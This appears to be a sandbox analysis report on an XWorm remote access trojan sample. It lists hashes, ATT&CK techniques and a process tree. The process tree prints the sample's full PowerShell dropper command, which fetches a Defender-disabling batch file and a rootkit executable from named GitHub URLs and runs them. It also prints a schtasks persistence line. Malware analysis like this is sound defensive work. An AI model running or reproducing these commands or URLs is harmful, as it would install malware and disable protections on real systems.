xworm | 0f4691e7c8b5f9bbd913c207f7d57f3b514e6adee47b32d57ebe0665632a8aac

General

Target

MasonClient.exe
Size

51KB
MD5

98b0077862a1b5e9cfb7257a96abfbf2
SHA1

c608b9257f5eb5c547875a38b27567ff1fd3fe44
SHA256

0f4691e7c8b5f9bbd913c207f7d57f3b514e6adee47b32d57ebe0665632a8aac
SHA512

0f80ea3b6e04af7dc96f085b318a0b8736dfc72a7d8ac73d86a31023f895be9c3e4cbbef00da507494c3e19a7c376661ed0b91cbf11aef5e1590e3b6c271a846
SSDEEP

1536:IUIPbL8Z6az90D7h47T7baurM+/MbOTuL:IUIPHA6az903y7fbae/MbOiL

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe

exe.dropper

https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Family

xworm

Attributes

install_file
USB.exe

Signatures

Detect Xworm Payload 4 IoCs

resource	yara_rule
behavioral1/memory/2112-1-0x0000000000D00000-0x0000000000D14000-memory.dmp	family_xworm
behavioral1/files/0x0008000000004e74-14.dat	family_xworm
behavioral1/memory/2664-16-0x0000000000290000-0x00000000002A4000-memory.dmp	family_xworm
behavioral1/memory/2032-18-0x00000000003D0000-0x00000000003E4000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2300	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2664	MasonClient.exe
2032	MasonClient.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 9 IoCs

Web Service

T1102

flow	ioc
16	raw.githubusercontent.com
18	raw.githubusercontent.com
19	raw.githubusercontent.com
23	raw.githubusercontent.com
8	raw.githubusercontent.com
12	raw.githubusercontent.com
21	raw.githubusercontent.com
10	raw.githubusercontent.com
14	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2912	schtasks.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2300	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2112	MasonClient.exe
Token: SeDebugPrivilege	2300	powershell.exe
Token: SeDebugPrivilege	2664	MasonClient.exe
Token: SeDebugPrivilege	2032	MasonClient.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2112 wrote to memory of 2300	2112	MasonClient.exe	31
PID 2112 wrote to memory of 2300	2112	MasonClient.exe	31
PID 2112 wrote to memory of 2300	2112	MasonClient.exe	31
PID 2112 wrote to memory of 2912	2112	MasonClient.exe	33
PID 2112 wrote to memory of 2912	2112	MasonClient.exe	33
PID 2112 wrote to memory of 2912	2112	MasonClient.exe	33
PID 2808 wrote to memory of 2664	2808	taskeng.exe	36
PID 2808 wrote to memory of 2664	2808	taskeng.exe	36
PID 2808 wrote to memory of 2664	2808	taskeng.exe	36
PID 2808 wrote to memory of 2032	2808	taskeng.exe	38
PID 2808 wrote to memory of 2032	2808	taskeng.exe	38
PID 2808 wrote to memory of 2032	2808	taskeng.exe	38

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\MasonClient.exe
"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2300
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "MasonClient" /tr "C:\Users\Admin\AppData\Roaming\MasonClient.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2912

C:\Windows\system32\taskeng.exe
taskeng.exe {0B0D1B52-608E-407E-95C4-CA2E6FDAEC05} S-1-5-21-4177215427-74451935-3209572229-1000:JSMURNPT\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:2808
- C:\Users\Admin\AppData\Roaming\MasonClient.exe
  C:\Users\Admin\AppData\Roaming\MasonClient.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2664
- C:\Users\Admin\AppData\Roaming\MasonClient.exe
  C:\Users\Admin\AppData\Roaming\MasonClient.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2032

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\MasonClient.exe

Filesize
51KB

MD5
98b0077862a1b5e9cfb7257a96abfbf2

SHA1
c608b9257f5eb5c547875a38b27567ff1fd3fe44

SHA256
0f4691e7c8b5f9bbd913c207f7d57f3b514e6adee47b32d57ebe0665632a8aac

SHA512
0f80ea3b6e04af7dc96f085b318a0b8736dfc72a7d8ac73d86a31023f895be9c3e4cbbef00da507494c3e19a7c376661ed0b91cbf11aef5e1590e3b6c271a846

Download Submit
memory/2032-18-0x00000000003D0000-0x00000000003E4000-memory.dmp

Filesize
80KB

Download
memory/2112-0-0x000007FEF5FD3000-0x000007FEF5FD4000-memory.dmp

Filesize
4KB

Download
memory/2112-1-0x0000000000D00000-0x0000000000D14000-memory.dmp

Filesize
80KB

Download
memory/2112-9-0x000007FEF5FD3000-0x000007FEF5FD4000-memory.dmp

Filesize
4KB

Download
memory/2300-6-0x0000000002DD0000-0x0000000002E50000-memory.dmp

Filesize
512KB

Download
memory/2300-7-0x000000001B730000-0x000000001BA12000-memory.dmp

Filesize
2.9MB

Download
memory/2300-8-0x0000000002910000-0x0000000002918000-memory.dmp

Filesize
32KB

Download
memory/2300-10-0x0000000002DD0000-0x0000000002E50000-memory.dmp

Filesize
512KB

Download
memory/2300-11-0x0000000002DD0000-0x0000000002E50000-memory.dmp

Filesize
512KB

Download
memory/2664-16-0x0000000000290000-0x00000000002A4000-memory.dmp

Filesize
80KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads